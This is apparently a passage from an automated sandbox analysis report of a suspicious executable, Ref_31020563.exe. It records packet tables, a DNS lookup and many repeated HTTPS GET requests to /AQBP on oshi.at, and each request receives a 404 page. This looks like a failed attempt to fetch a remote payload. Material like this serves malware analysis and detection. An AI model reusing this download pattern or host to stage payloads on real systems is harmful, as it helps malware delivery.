Dec 10, 2024 16:30:27.798238039 CET	443	49778	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:28.588843107 CET	443	49778	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:28.588865995 CET	443	49778	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:28.588938951 CET	443	49778	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:28.589138031 CET	49778	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:28.589690924 CET	49778	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:28.590296030 CET	49779	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:28.590344906 CET	443	49779	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:28.590651989 CET	49779	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:28.590651989 CET	49779	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:28.590682030 CET	443	49779	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:30.706397057 CET	443	49779	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:30.710566044 CET	49779	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:30.710596085 CET	443	49779	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:31.493407965 CET	443	49779	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:31.493427038 CET	443	49779	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:31.493496895 CET	443	49779	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:31.493541002 CET	49779	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:31.493594885 CET	49779	443	192.168.2.8	194.15.112.248

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 16:27:23.357001066 CET	56997	53	192.168.2.8	1.1.1.1
Dec 10, 2024 16:27:23.496228933 CET	53	56997	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 16:27:23.357001066 CET	192.168.2.8	1.1.1.1	0x8369	Standard query (0)	oshi.at	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 16:27:23.496228933 CET	1.1.1.1	192.168.2.8	0x8369	No error (0)	oshi.at		194.15.112.248	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:27:23.496228933 CET	1.1.1.1	192.168.2.8	0x8369	No error (0)	oshi.at		5.253.86.15	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

oshi.at

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49713	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:25 UTC	61	OUT	GET /AQBP HTTP/1.1 Host: oshi.at Connection: Keep-Alive
2024-12-10 15:27:26 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:26 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:26 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49714	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:28 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:29 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:29 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:29 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49715	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:31 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:32 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:32 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:32 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49716	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:34 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:35 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:35 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:35 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49717	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:37 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:38 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:38 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:38 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49718	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:40 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:41 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:40 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:41 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49721	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:43 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:44 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:43 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:44 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49722	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:46 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:47 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:46 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:47 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49723	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:49 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:49 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:49 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:49 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49724	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:52 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:52 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:52 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:52 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49725	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:55 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:55 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:55 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:55 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49726	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:27:57 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:27:58 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:58 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:27:58 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49727	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:00 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:01 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:01 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:01 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49728	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:03 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:04 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:04 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:04 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 